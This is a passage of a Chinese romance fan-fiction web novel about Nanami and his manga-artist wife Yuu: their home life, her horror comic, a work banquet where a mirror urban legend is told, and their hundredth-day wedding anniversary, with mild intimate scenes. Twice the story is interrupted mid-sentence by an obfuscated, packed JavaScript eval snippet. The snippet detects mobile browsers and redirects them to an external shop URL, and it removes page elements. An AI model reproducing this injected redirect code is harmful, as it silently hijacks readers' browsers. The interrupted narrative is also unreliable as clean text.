“但表现力不够。”悠指着画面,“我想让读者感受到那种……认知崩塌的瞬间。就像你以为自己是A,但某天突然发现,不,你是B,而且A可能根本不存在,你的整个人生都是一场骗局……” 她越说越激动,手在空中比划:“不是简单的‘啊我失忆了’,而是‘我所有的记忆都是别人植入的,我的亲情、爱情、友情,全都是建立在谎言上的’……” 七海安静地听着,等她说完才开口:“晚饭想吃什么?” “啊?”悠一愣。 “你晚上没吃多少。”七海看了眼时钟,“现在九点半,可以做点夜宵。” 悠这才感觉到饿。她摸了摸肚子:“想吃……茶泡饭。” “好。”七海起身去厨房。 悠看着他走进厨房的背影,忽然觉得创作上的烦恼都烟消云散了。 十分钟后,七海端来两碗茶泡饭。 米饭上铺着梅干、海苔和鲑鱼碎,浇上热茶,香气扑鼻。 两人在客厅的矮桌旁坐下。悠吃了一口,满足地叹气:“七海海做的茶泡饭最好吃了。” “那就多吃点。”七海把自己碗里的梅干夹给她,“你最近瘦了。” “有吗?”悠摸摸脸。 “有。”七海很肯定,“下巴尖了。是不是又不好好吃饭?” “赶稿的时候忘了嘛……” “以后我每天中午给你打电话提醒。” “七海海好像老妈子哦~” “这是为你好。” 两人一边吃一边聊,话题从漫画跳到日常生活。 “对了,”悠想起什么,“楼下坂本太太今天跟我说,五楼的双胞胎又在走廊里踢球,把她的花盆打碎了。” “怪不得,我看坂本太太在楼下超市买了好几盆仙人掌?” “还有,凪姐说超市下周有促销,牛肉半价,问我们要不要一起去买。” “可以。周六上午我和你一起去。” “对啦顺平学校要开家长会了,凪姐那天要上班,问你能不能替她去……” “时间发给我,我调整日程。” 很平常的对话,很琐碎的话题,但悠觉得特别安心。 吃完夜宵,悠主动收拾碗筷。 七海去浴室放洗澡水。 “一起洗吧。”悠从厨房探出头,“省水。” 七海动作顿了顿:“……浴室太小。” “挤一挤嘛~”悠跑过来,从背后抱住他,“而且今天好冷,需要七海海牌暖炉~” 七海耳根微红,但没再拒绝。 浴室确实不大,两个成年人挤在里面有点局促。 但温热的水流,还有空气中弥漫的沐浴露香气,让这个狭小的空间变得格外温馨。 38. 吃醋 悠帮七海擦背,手指在他结实的背肌上划过。 七海的身体明显紧绷了一下。 “七海海最近锻炼了吗?”悠好奇地问,“肌肉好像更结实了。” “……正常训练。”七海的声音有些低哑。 “什么训练?”悠凑到他耳边,故意吹气,“办公室健身操?” 七海突然转身,将她抵在墙上。 温热的水流从两人之间流过,蒸汽模糊了镜面。 “你最近,”他低头看着她,眼镜早就摘掉了,蓝色的眼睛在雾气中显得格外深邃,“是不是太闲了?” 悠眨眨眼,一脸无辜:“没有啊,我很忙的~” “忙还有时间研究我的肌肉?”七海的手抚上她的脸颊。 “这是妻子的正当权利~”悠理直气壮,但脸已经红了。 七海笑了——很轻的笑,但悠看到了。 他低头吻住她,吻得很温柔,和平时那种克制的吻不同,这个吻缠绵而漫长,带着浴室特有的湿热气息。 结束后,两人额头相抵,呼吸交织。 “想起怎么画了吗?”七海忽然问。 悠一愣,然后反应过来他在问漫画的事。 她认真想了想:“……好像有点头绪了。” “那就好。”七海关掉水,拿过浴巾将她裹住,“别想太多,先休息。灵感会在不经意的时候来。” “好啦~” 那天晚上,悠做了个梦。 梦里她在照镜子,但镜中的倒影不是她,而是另一个陌生的女人。 那个女人对她微笑,嘴唇张合,说着什么,但悠听不见。 她想逃离,但身体动弹不得,只能眼睁睁看着镜中的女人一步步走近,最后——从镜子里伸出了手。 悠惊醒,浑身冷汗。 窗外天还没亮,七海在她身边沉睡。 她侧过身,看着他安静的睡颜,心跳慢慢平复。 然后,她突然有了灵感。 轻手轻脚下床,走到工作台前,打开台灯。 拿起笔,在速写本上快速勾勒——一个人站在镜子前,镜中的倒影是另一个人。 但这一次,倒影的手穿过了镜面,抓住了现实中的手腕。 而主角的表情不是恐惧,而是……茫然。 仿佛在问:你是我吗?那我又是谁? 认知崩塌的瞬间,不是尖叫,不是发疯,而是最深层的茫然——当最基本的自我认知都被颠覆时,人连恐惧都不会表达了。 悠兴奋地画着,直到晨光透过窗帘。 周四晚上,《宿命之恋》的剧情走向了新高度。 这一集揭露:女主角整容换身份后接近的反派,不是她的生父,而是她生父的克隆人。 而生父本人早在二十年前就被冷冻保存,计划在合适的时机复活。 同时,男主角(已变性)发现自己在泰国做手术时,被偷偷植入了另一个人格,现在体内有两个意识在争夺控制权。 “我的天……”吉野风织围巾的针都掉了,“这编剧是嗑药了吗?” “克隆人!冷冻复活!人格植入!”悠眼睛发懵,“这集要素太多了吧?” 七海在书房处理工作,听到客厅传来的对话,无奈的笑了一下。 电视剧最后,女主角在反派(女主生父克隆人)的办公室发现了一张老照片——照片上是年轻时的反派和另一个女人,那个女人长得和女主角一模一样。 字幕浮现:二十年前的恋人? 预告片更劲爆:下一集,女主角将发现自己是反派恋人的克隆人,而那个恋人其实是男主角的生母。 也就是说,女主角是男主角生母的克隆体,而男主角现在是个女人,两人相爱了…… 悠看完预告,整个人呆住了。 “……母女?不对?”吉野凪语无伦次,“而且男主角现在爱的是自己生母的克隆体,这算恋母吗?但他自己现在也是女人……” 七海从书房走出来,关掉电视。 “该睡觉了。”他的声音平静,但透着一丝不容置疑。 “可是七海海——”悠还想拉着凪姐讨论。 吉野凪无奈的摇摇头,把空间留给两人撤退了。 “明天再想。”七海拉起她,“去洗澡。” 悠不情不愿地被拉去洗澡。 洗完澡,她躺在床上,脑子里还在转那些复杂的人物关系。 “七海海,”她翻身面对七海,忍不住好奇吐槽“你说如果一个人爱上了自己生母的克隆体,这算伦理问题吗?克隆体有独立人格,但基因又是相同的……” 七海闭着眼有点好笑,但又有点说不清的感觉:“不知道。” “还有啊,如果男主角体内有两个人格,那他和女主角相爱的时候,到底是哪个人格在爱?如果两个人格都爱,算劈腿吗?” “悠。”七海睁开眼,在黑暗中看着她。 “嗯?” “你今晚,”他的声音低沉,“话很多。” “因为剧情太复杂了嘛……”悠小声说,“而且我还在想就是一个人被植入了另一个人的记忆和人格,然后——” 话没说完,七海已经吻住了她。 这个吻来得突然而强势,带着明显强势的意味。 七海的手扣住她的后脑,不给她任何后退的余地,舌尖长驱直入,掠夺她的呼吸和思考能力。 悠猝不及防,只能被动承受。 等七海终于松开她时,她已经气喘吁吁。 “现在,”七海的声音在黑暗中显得格外低沉,“还能思考剧情吗?” 悠平复着呼吸,眼睛逐渐适应黑暗,能看到七海近在咫尺的脸。 他没戴眼镜,眼睛在夜色中亮得惊人。 “……不能了。”她老实承认。 “很好。”七海低头,吻了吻她的额头,“睡觉。” 然后他转过身,悠看着他的背影,愣了几秒,然后悄悄蹭过去,从背后抱住他。 “七海海生气了?”她小声问。 “……没有。” “明明就有。”悠把脸贴在他背上,“因为我说太多电视剧的事?” 七海沉默。 “对不起嘛……”悠小声说,“我下次不说了。” 七海转过身,将她搂进怀里:“不是不让你说,是你要适可而止。每天沉迷那种剧情,连做梦都在想,会影响休息。” “我知道啦……”悠在他怀里蹭了蹭,“可是真的停不下来嘛……” “那就转移注意力。”七海的手抚过她的头发,“想想别的。比如明天的晚餐想吃什么,周末去哪里,或者……想想我。” 最后三个字说得很轻,但悠听到了。 她抬起头,在黑暗中寻找他的眼睛。 “七海海吃醋了?”她问,声音里带着笑意。 “没有。” “明明就有~” 七海不说话了,只是把她搂得更紧。 悠心里妥帖的,她也不再说话,安静地靠在他怀里。 临睡前,她迷迷糊糊地想:吃醋的七海海好可爱。 周五晚上,吉野凪和顺平照常来追剧。 悠一边看一边和凪姐复盘,听得顺平一愣一愣的,三个人简直比上课还认真。 果然剧情揭露,女主角确实是反派恋人的克隆体,但那个恋人没死,而是被改造成了另一个人,现在以女管家的身份潜伏在反派身边。 而反派(克隆人)其实早就知道女主角的身份,故意接近她是为了报复真正的本体。 同时,男主角体内的第二人格苏醒了——那是他变性前的人格,还是个男人。 现在他的身体里,一个女性人格和一个男性人格在争夺控制权,而两个人格都爱着女主角。 “这已经不是狗血了,”吉野凪织围巾的手都在抖,“这是道德的沦丧。” “而且你发现没,”悠咬着蛋挞,“每个人都在伪装,每个人都在算计,没有一 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“嗯!”悠头也不抬,兴奋的说“我想画一个短篇,叫《告白》。主角体内有两个人格,一个爱着A,一个爱着B。但某天发现,A和B其实是同一个人伪装的。而那个人,可能是主角自己的另一个人格投射出来的幻象……” 七海安静地听着,等她告一段落,才说:“很晚了,该休息了。” “再画一会儿嘛~”悠撒娇,“灵感正旺呢!” “明天再画。”七海抽走她的笔,“眼睛都红了。” 悠不情愿地起身,伸了个懒腰。 确实,坐久了腰酸背痛。 她走到客厅,倒在沙发上。 “好累……”她瘫在沙发上,像一滩软泥。 七海走过来,在她身边坐下:“帮你揉揉?” “要~” 七海的手放在她肩上,力道适中地按摩。 悠舒服地闭上眼睛:“七海海手法真好……可以去开按摩店了……” “只给你按。”七海说。 悠心里一甜,翻身坐起来,跨坐在他腿上,面对面看着他。 “七海海,”她双手环住他的脖子,“我今天发现,电视剧虽然狗血,但确实能激发灵感~” 七海的手扶住她的腰:“所以?” “所以以后我看剧的时候,你不要生气嘛~”悠蹭了蹭他的鼻尖,“我是在为创作取材~” “……强词夺理。” “是真的!”悠认真地说,“而且你看,我今天就想出了新点子。虽然剧很离谱,但那种身份错……” 她开始详细讲解自己的构思,越说越投入。 七海安静地听着,手从她的腰慢慢上移,抚过她的背脊。 悠说到一半,忽然感觉不对劲。 七海的手在她背上轻轻摩挲,带着某种暗示的意味。 “……七海海?”她小声问。 “继续。”七海的声音低哑,“我在听。” 但他的动作明显不是在“听”。 悠的脸红了:“我在说正经事……” “我在做正经事。”七海低头,吻了吻她的锁骨。 “可是……” “你刚才说,”七海打断她,吻沿着锁骨向上,落在颈侧,“男主角体内有两个人格,都爱着女主角?” “嗯……”悠的声音开始发颤。 “那如果,”七海的唇贴在她耳边,温热的气息让她浑身一颤,“女主角也分裂了呢?一个爱着A人格,一个爱着B人格?” 悠的大脑已经无法思考了。 七海的手在她身上点燃一簇簇火苗,所过之处一片滚烫。 “我、我不知道……”她喘息着。 “那我们来实验一下。”七海笑了一下,“看看一个人,能不能同时爱上两个人的感觉……” “七海海!”悠惊呼,但声音很快被吻吞没。 悠完全失去了反抗能力,只能被动承受。沙发随着他们的动作发出轻微的声响,在寂静的客厅里格外清晰。 39. 脸红 第二天早上,悠醒来时已经九点了。七海不在床上,厨房传来煎蛋的香气。 她坐起身,感觉腰有点酸。 想起昨晚的事,脸一下子红了。 尤其是想到沙发…… 走出卧室,七海正在厨房忙碌。 听到声音,他回头:“醒了?早餐马上好。” “嗯……”悠偷瞄了一眼客厅的沙发——看起来干干净净,像是被仔细清理过。 她在餐桌前坐下,七海端来早餐。 两人沉默地吃着,气氛有点微妙。 “那个……”悠终于忍不住开口,“沙……” “清理过了。”七海面不改色,“用的是专业清洁剂。” “……哦。”悠低头喝牛奶,耳朵红红的。 七海看了她一眼,推了推眼镜:“以后灵感来了,可以在卧室讨论。” 悠差点被牛奶呛到:“咳咳……知道啦!” 早餐后,七海去公司加班。 悠送他到门口,他忽然转身,在她唇上轻轻一吻。 “今天好好休息。”他说,“晚上我带寿司回来。” “嗯!”悠点头,心里那点尴尬瞬间消失。 七海离开后,悠走到沙发前,盯着看了几秒,然后扑上去,把脸埋进靠垫里。 “啊啊啊好丢人……”她小声嘀咕,但嘴角却忍不住上扬。 下午,真由美打来电话。 “豆豆老师!编辑部开会讨论了连载的后续方向!”真由美的声音很兴奋,“大家一致认为,这种纯粹的黑暗恐怖风格很有市场潜力!主编说可以给你开一个专栏,专门连载这个系列!” “真的吗?”悠也很高兴。 “真的!不过……”真由美顿了顿,“有些编辑建议,能不能在绝对的黑暗中加一点点……不是救赎,而是一丝微光?比如主角虽然崩溃了,但某个细节暗示,也许还有另一种可能?看着太可怜了。” 悠想了想“我可以试试,但不能保证。有些故事就是需要绝对的绝望才能凸显嘛。” “我明白!”真由美说,“总之,编辑部会全力支持你!豆豆老师就按照自己的想法画吧!” 挂断电话,悠心情大好。 她走到工作台前,看着草稿,认真思考起来。 绝对的黑暗吗? 她想起昨晚七海的话——“那如果女主角也分裂了呢?” 如果主角分裂出两个人格,一个爱A,一个爱B,最后发现A和B都是幻象。但在彻底崩溃的边缘,两个人格突然意识到了彼此的存在,然后——融合了。 不是救赎,不是希望。 当分裂的自我重新融合时,那个新的“我”,还是原来的“我”吗? 或者,已经变成了一个全新的、陌生的怪物? “就是这个……”悠喃喃自语,拿起笔开始画。 这一次,灵感如泉涌。 她画了整整一个下午,直到七海下班回家。 “我回来了。”七海推开门,手里提着寿司盒。 “欢迎回来!”悠从工作台前跳起来,兴奋地扑过去,“七海海!我画完了!终于不用被真由美催了!” 七海接过来看。 主角站在镜子前,镜中的倒影逐渐分裂成两个,然后又融合成一个陌生的面孔。 最后一格,主角回头看向读者,脸上是空洞的微笑,眼神却充满疯狂。 “怎么样?”悠期待地问。 七海沉默了一会儿,推了推眼镜:“……会做噩梦的程度。” 悠眼睛一亮:“那就是成功了!” “嗯。”七海放下草稿,揉了揉她的头发,“画得很好。不过现在,该吃饭了。” “好~” 两人在客厅吃寿司。 悠一边吃一边讲解自己的构思,七海安静地听着,偶尔给出建议。 “我觉得分裂的人格融合后,可以加一个细节,”七海说,“比如主角的手指无意识地在桌上画着什么,仔细看,是在写‘救救我’。但主角自己没意识到。” “啊!这个好!”悠兴奋地记下来,“潜意识的呼救,但意识层面已经完全疯狂了……太棒了!” 七海看着她兴奋的样子,嘴角微微上扬。 晚饭后,悠给真由美发了画稿。 真由美很快回复:“太棒了!就是这个感觉!豆豆老师继续!” 同时,顺平之前拜托悠去投稿的小说也在杂志上发表了。 虽然是短篇栏目,只占了两页,但拿到第一次稿费,收到第一个评论,对顺平来说是巨大的鼓励。 吉野凪知道后高兴得做了一桌子菜庆祝。 “咱们家真是人才辈出!”吉野风笑着说,“小悠是大漫画家,顺平是小作家,七海是……呃,七海是什么?” “上班族。”七海平静地说。 “靠谱的上班族!”悠补充,“而且是我的专属责编兼生活顾问~” 顺平小声笑了。 七海推了推眼镜,耳朵微红。 饭后,悠和七海在阳台乘凉,秋夜的风已经有些冷了。 “七海海。”悠靠在他肩上。 “嗯?” “谢谢你。”悠小声说,“一直支持我的工作,和我一起讨论,不嫌我啰嗦。” “这是你的工作。”七海说,“我支持你是应该的。” “可是有些丈夫可能会觉得,妻子画这种东西不好……” “那是他们的问题。”七海手臂环紧了些,“你有天赋,有热情,而且做得很成功。我为你骄傲。” 悠鼻子一酸,把脸埋进他胸口:“七海海……” “不过,”七海话锋一转,耳朵有些红,表情也不自然“下次灵感来了,不可以冷落我。” 悠想到那晚脸红了,轻轻捶了他一下:“知道啦!” 七海笑了,低头吻了吻她的头发。 两人静静相拥,看着东京的夜景。 远处的高楼灯火通明,像一座巨大的迷宫。 每扇窗户后面,都有不同的故事,不同的悲欢。 而他们的故事,就在这里,在这个小小的阳台上,在这个温暖的怀抱里。 周一,悠去编辑部开会。 真由美带来了好消息,她的专栏正式确定,专门为她打造,从下个月开始连载,每期一个短篇,连载半年。 “豆豆老师可以慢慢构思,”真由美说,“编辑部会全力配合!” 悠很高兴,但也有一点点压力。 半年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154087|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,六个短篇,每个都要达到同样的水准,不容易。 回家的路上,她顺便去了超市,买了七海喜欢的牛肉和蔬菜。 晚饭准备做咖喱牛肉,这是七海难得会主动要求添饭的菜。 傍晚,七海准时下班回家。 一进门就闻到咖喱的香气。 “我回来了。”他说。 “欢迎回来~”悠从厨房探出头,“饭马上好!” 七海放下公文包,走到厨房,从背后抱住她:“辛苦了。” “不辛苦~”悠靠在他怀里,“今天开会很顺利,专栏确定了。” “很棒,不出所料。” “但是压力也大了……”悠叹气,“要连续画六个恐怖短篇,还不能重复。” “慢慢来。”七海接过她手里的锅铲,“我来搅拌,你去休息。” 悠乐得清闲,靠在料理台边看他做饭。 七海的动作很熟练,放调料、搅拌、尝味,一气呵成。 “七海海以后失业了,可以去开餐厅。”悠开玩笑。 “不会失业。”七海很认真,“而且我只给你做饭。” 悠心里一甜,走过去从背后抱住他:“七海海最好了~” 晚饭时,两人聊着各自的日常。 七海说公司最近在做一个新项目,可能会忙一阵。 悠说真由美建议她开一个读者交流会,但她有点紧张。 “我可以陪你去。”七海说。 “真的吗?” “嗯。”七海点头,“以家属的身份。” 悠笑了:“那我要告诉读者,这位是我的贴身保镖~” 七海无奈地摇头,但眼神温柔。 饭后,悠洗碗,七海处理工作邮件。 “七海海。”悠忽然开口。 “嗯?” “如果有一天,”她小声说,“我画的恐怖漫画太成功,变成有名的恐怖漫画家,你会不会觉得……奇怪?” 七海放下杂志,看着她:“为什么奇怪?你看了电视剧?” “因为……”悠想了想,“一般来说,丈夫可能更希望妻子从事……温和一点的职业?比如家庭主妇,或者做普通的工作?” 七海推了推眼镜:“悠,你画恐怖漫画的时候开心吗?” “开心啊。” “画得好吗?” “还不错……” “那就够了。”七海说,“职业没有高低,重要的是你做得开心,做得好。而且——” 他顿了顿,嘴角微扬:“我娶的是我爱的悠,不是一个职业。你画什么,都是你。” 悠愣了几秒,然后扑过去抱住他:“七海海!我爱你!” “知道。”七海接住她,拍了拍她的背,“我也爱你。” 很简单的对话,但悠觉得,这是她听过最动听的情话。 那天晚上,她睡得很踏实。 梦里没有恐怖的情节,只有七海温暖的手,和那句“你画什么,都是你”。 她知道,无论未来怎样,无论她的漫画会走向何方,七海都会在她身边。 足够她勇敢地画下去,画出最真实的自己。 因为有人会一直看着她,支持她,爱她。 这就够了。 40. 纪念日 十月中旬,东京的秋意渐浓。 下午六点,证券公司办公室的灯光还亮着大半。 七海建人看着电脑屏幕上的邮件,眉头微蹙。 邮件是部门经理小林发来的,内容很简短:“今晚七点,银座“松叶亭’,庆祝山田部长升迁。全员务必出席。” 他看了眼手表——六点十分。 昨晚悠还特意提醒,今天是他们结婚第一百天纪念日,她会准备特别晚餐。 七海拿起手机,拨通了林经理的电话。 “小林经理,关于今晚的聚餐──” “啊,七海君!”小林经理的声音带着醉意似的热情,“你可一定要来啊!山田部长特别提到你了,说你这半年的表现非常出色,那个外资企业的并购案处理得太漂亮了!” “感谢部长赏识,但我今晚已有安排。” “推掉推掉!”小林经理打断他,“这可是难得的机会!部长说了,明年春天海外事业部改组,需要提拔几个年轻骨干·……你明白我的意思吧?” 七海沉默了。 他确实明白——山田部长今年五十五岁,这次升迁到总部担任常务董事,正是用人之际。 而海外事业部的改组,意味着新的管理层架构和晋升机会。 “松叶亭的位子很难订的,部长特意选了那里。”小林经理继续说,“而且大家都去,就你一个人缺席,不太好吧?” “……我明白了。”七海最终说,“我会准时到。” 挂断电话,他给悠发了条消息:“悠,今天晚上公司临时有聚餐,庆祝部长升迁,实在无法推脱。我会尽快结束回家。抱歉。” 几秒后,回复来了:“知道啦~老公大人工作加油!不过要记得今天是特别日子哦,我会等你回来~” 七海看着手机屏幕,嘴角微扬,但很快又恢复平静。 他收拾好公文包,看了眼桌上的日历。 三个月前的那场简单婚礼仿佛还在昨天。 六月的阳光,悠穿着白无垢的样子,还有她紧张得差点踩到裙摆的瞬间。 时间过得真快。 “松叶亭’是银座一家高级料亭,以怀石料理和隐私性著称。 七海到达时,包厢里已经坐满了人。 山田部长坐在主位,五十多岁的男人,头发花白但精神矍铄,正笑着听下属们敬酒。 “七海君来了!”小林经理眼尖,立刻招手,“来,坐这边! 七海在指定的位置坐下,向山田部长致意“恭喜部长荣升。” “七海君,就等你了。”山田部长笑着举杯,“听小林说,你最近负责的那个跨国并购案,完成得很漂亮。对方公司的法务总监特意打电话来称赞,说从没见过这么严谨细致的尽调报告。” “这是我分内的工作。”七海平静地说。 “过分谦虚就是骄傲了。”山田部长大笑,“来,大家举杯!祝贺七海君,也祝贺我们部门又出了一位人才!” 众人举杯应和。 七海也举杯,将杯中的清酒一饮而尽。 他的酒量确实很好——在咒术高专时,五条悟经常拉他去喝酒,说是“培养成年人的社交能力”。 虽然每次都以五条悟一滴就喝趴下告终,但七海的酒量确实练出来了。 酒过三巡,气氛热闹起来。 同事们开始聊起各种话题——最近的股市波动,新开的米其林餐厅,还有…一些都市传闻。 “你们听说了吗?”营业部的佐藤压低声音,“最近涉谷那边,好像出了件怪事。” “什么怪事?” “我表弟在警视厅工作,说这两个月接到好几起报案,都是关于“镜子’的。” 佐藤神秘兮兮地说,“有人报警说,在自家浴室照镜子时,镜子里的人……不是自己。” 包厢里安静了一瞬。 “什么意思?”有人好奇的追问。 “就是字面意思。”佐藤说,“镜子里倒映出来的脸,是别人的脸。有个家庭主妇说,她早上刷牙时,看到镜子里是个陌生女人的脸,还对她笑。她吓得摔了一跤,额头缝了五针。” “是幻觉吧?”小林经理说,“工作压力大,或者睡眠不足。” “一开始警方也这么认为。”佐藤摇头,“但后来接到类似的报案越来越多,而且都是不同的人,不同的地方。最诡异的是,有个公司职员说,他在公司洗手间照镜子,镜子里的人穿着和他一样的西装,但脸完全不一样。他盯着看了十几秒,镜子里的那个人……居然开口说话了。” “啊?!说什么了?” “你看得见我。” 包厢里响起几声倒吸凉气的声音。 七海默默听着,手指在酒杯边缘轻轻摩挲。 这类传闻在东京并不少见——人口密集的大都市,压力、孤独、都市传说,很容易催生这种集体性的幻觉或·…别的什么东西。 “还有更可怕的。”佐藤继续说,“上周,有个年轻女孩失踪了。她室友说,失踪前一晚,那女孩一直在浴室里待了两个多小时。室友去敲门,女孩说‘我在和镜子自己说话’。第二天,女孩就不见了。浴室镜子上,用口红写着一行字” 他顿了顿,压低声音“她取代了我” 气氛一阵沉默。 “这、这肯定是恶作剧吧…”有人干笑。 “警方调查后发现,”佐藤说,“那个女孩最近刚失业,和男友分手,还欠了一笔债。可能是压力太大,产生了精神问题,然后自导自演了失踪。” 这个解释让众人松了口气。都市传说加上合理的心理学解释,总是最让人安心的组合。 但七海听到佐藤话中的细节——具体到人名的不同的报案人,不同的地点,类似的经历。 如果是集体幻觉,未免太过一致。 “七海君怎么想?”山田部长忽然问。 七海推了推眼镜:“可能是某种社会现象。大城市生活压力大,容易产生投射性幻觉。加上网络传播,形成了类似都市传说的集体认知。 “不愧是七海君,分析得这么理性。”山田部长大笑,“来,再干一杯!别被这些怪谈影响了心情!” 酒宴继续。 七海又喝了几杯,脸上依旧没什么表情,但心里在计算时间——已经八点了,悠还在家等他。 他看了眼手机,悠十分钟前发了条消息:“老公大人~我在试“战袍’哦~等你回来检阅~” 后面跟着一个害羞的表情。 七海手指一顿,耳朵微热。 他想起今早出门前,悠神神秘秘地说准备了“特别惊喜”。 当时他以为只是普通的纪念日礼物,现在看来…·… “七海君有事?”小林经理注意到他看手机。 “家里有些事。”七海站起身,“部长,各位,抱歉失陪一下。我去打个电话。”他走出包厢,来到安静的走廊,拨通了悠的电话。 “七海海!”悠的声音很轻快,“要回来了吗?” “还在酒局。”七海说,“可能会晚一些。你别等我,先吃晚饭。” “不行~说好要一起庆祝一百天的!”悠撒娇,“而且我蛋糕都做好了!是你喜欢的抹茶味!” 七海心里一暖:“蛋糕可以明天吃。你别饿着。” “那………你大概什么时候回来?” 七海看了眼时间:“尽量十点前。” “好~那我等你!”悠顿了顿,声音变软的,“老公………我给你准备了惊喜呢。” 七海喉结动了动,声音低沉了些:“……我知道了。等我回家,悠。” “嗯~快点回来哦~” 挂断电话,七海站在走廊里,深吸了一口气。 窗外的银座灯火辉煌,但此刻他只想快点回到家,回到悠身边。 回到包厢时,山田部长拍着他的肩说“……七海君年轻有为,又成家了,正是干事业的好时候。明年海外事业部改组,我希望你能来帮我。” “感谢部长的信任。”七海举杯,“我会认真考虑。” 这句话让山田部长很满意,又拉着他喝了几杯。 酒局快散场,七海打了招呼提前离场,出来时已经是晚上十点半了。 七海站在料亭门口,秋夜的凉风吹在脸上,让他清醒了些。 他喝了多少?大概8瓶。 对他来说不算什么,但确实比平时多。 叫了出租车,报上地址。 车窗外,东京的夜景飞速后退。 他想起佐藤说的那个传闻——镜子里的陌生人。 如果是以前,他可能会去调查一下。 但现在,他只是个普通上班族,有个等他回家的妻子。 普通人的生活,就是这样吧。 有推不掉的酒局,有想早点回去见的人,有需要权衡的事业和家庭。 还有,结婚一百天的纪念日。 十一点十分,七海打开家门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154088|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄关的灯亮着,客厅传来轻柔的音乐声。 他脱鞋进屋,看到茶几上摆着精致的烛台,蜡烛已经点燃,暖黄色的光芒摇曳。 悠从厨房探出头:“欢迎回来~老公!” 她穿着围裙,长发松松地扎在脑后,脸上带着温柔的笑意。 七海走过去,很自然地低头在她唇上印下一吻。 “我回来了。”他说,声音比平时更柔和。 悠闻到他身上的酒气,但不算浓“喝了很多?” “还好。”七海松开领带,“抱歉,回来晚了。” “没事啦~”悠帮他脱下西装外套,“菜我都热着呢,就等你回来~先去洗手,马上开饭!” 七海去洗手间洗脸。 镜子里的自己脸色正常,眼神清醒,只是耳朵有些红——这是喝酒后他唯一明显的变化。 走出洗手间,餐桌上已经摆好了晚餐。 不是特别复杂的菜色,但都是他喜欢的。 “看起来很美味,都是你做的?”七海坐下。 “当然~”悠得意地说,“虽然卖相一般,但味道我尝过了,还不错!” 七海尝了一口烤鱼,外皮酥脆,鱼肉鲜嫩,火候恰到好处。 “很好吃。”他看向等着他评论聚精会神的悠,轻笑一下抬头夸赞。 悠眼睛弯起来:“那就好~啊,还有蛋糕!” 她从冰箱拿出一个小巧的抹茶蛋糕,上面用奶油写着“100日”。 蜡烛插在中间。 “来,我们一起许愿吹蜡烛~”悠把蛋糕推到他面前,把蜡烛点燃。 七海看着摇曳的烛光,又看看悠期待的脸,和她一起闭上眼睛。 许什么愿? 希望悠健康快乐。 希望这个家一直温暖。 希望……能一直这样生活下去。 睁开眼,他和悠相视一笑。 吹灭蜡烛。 悠开心地鼓掌:“恭喜七海海和悠酱结婚一百天~” “应该是‘恭喜我们’。”七海纠正。 “都差不多啦~”悠切蛋糕,“来,啊──给最辛苦的老公大人~” 蛋糕确实是他喜欢的抹茶味,甜度适中,口感绵密。 七海吃了两口,不经意的一问:“你准备了礼物?” “对呀!”悠眼睛一亮,“你先吃,吃完给你看~” 七海默默加快速度吃完,趁悠收拾碗筷时,他起身从公文包里拿出一个小盒子。 “我也有准备。”他说。 悠惊讶地睁大眼睛:“诶?七海海也记得?” “当然记得。”七海推了推眼镜,“十月十五日,结婚第一百天。” 悠接过盒子,小心地打开。 里面是一条精致的白金项链,吊坠是一个小小的月亮造型,月亮中间镶嵌着一颗很小的钻石。 “好漂亮……”悠轻声说。 “月亮是你名字的意象。”七海说,“而且,你就像月亮一样。” 温柔,安静,在黑暗中散发着柔和的光,是他即使在满天星辰里,永远第一眼就被吸引的人。 悠眼睛有点热。她拿起项链:“快帮我戴上嘛。” 七海走到她身后,接过项链。 他的手指碰到她后颈的皮肤,温热而轻柔。 项链扣上的瞬间,悠转身抱住他。 “谢谢七海海……我好喜欢。” “你喜欢就好。”七海搂住她,下巴抵在她发顶。 酒意在这个温馨的时刻悄悄蔓延。 不是醉,而是一种放松的、柔软的情绪。 平时克制的温柔,此刻毫无保留地流露出来。 “那我的礼物呢?”他在她耳边低声问。 悠脸红了,从他怀里退出来:“你、你先去洗澡……·洗完澡给你看……” 七海看着她害羞的样子,心里一动。 他确实喝了酒,虽然没醉,但酒精让某些情绪变得更容易释放。 “好。”他说,“等我。” 七海洗澡的时间比平时短。 十分钟后,他穿着睡袍走出浴室,头发还湿着,眼镜已经摘掉。 客厅里,蜡烛还亮着,但悠不在。 卧室的门虚掩着,里面透出暖黄色的灯光。七海推门进去,然后停住了脚步。 悠站在床边,背对着他。 她身上穿着一件黑色的蕾丝睡裙,但他从没见她穿过。 41. 命运的红线 第二天上午十点,悠才醒来。 她浑身酸痛,像被拆开重组过一样。 又胀又痛,还残留着昨晚被的感觉。 七海已经醒了,正侧躺着看她。 见她醒来,他伸手抚了抚她的脸:“醒了?” “…嗯。”悠声音沙哑,“几点了?” “十点。”七海说,“今天周六,不用上班。” 悠想坐起来,但腰一软又倒了回去。 七海扶住她,让她靠在自己怀里。 “疼吗?”他问,手轻轻按着她的腰。 “不疼,但是好酸”悠小声抱怨,“都怪你…那么多次……” “是你先诱惑我的。”七海有理有据,“而且昨天是安全期,你说怎样都可以。” 悠脸红了,把脸埋进他胸口“那也不能……我后面都……” 七海轻笑,胸腔震动“抱歉,悠。喝了酒,有点失控。” 其实不只是喝了洒、而是结婚一百天她特意准备的惊喜,还有她穿着那件睡裙的样子……都让他失控了。 “我去放热水,你一会泡个澡会舒服点。”七海起身下床。 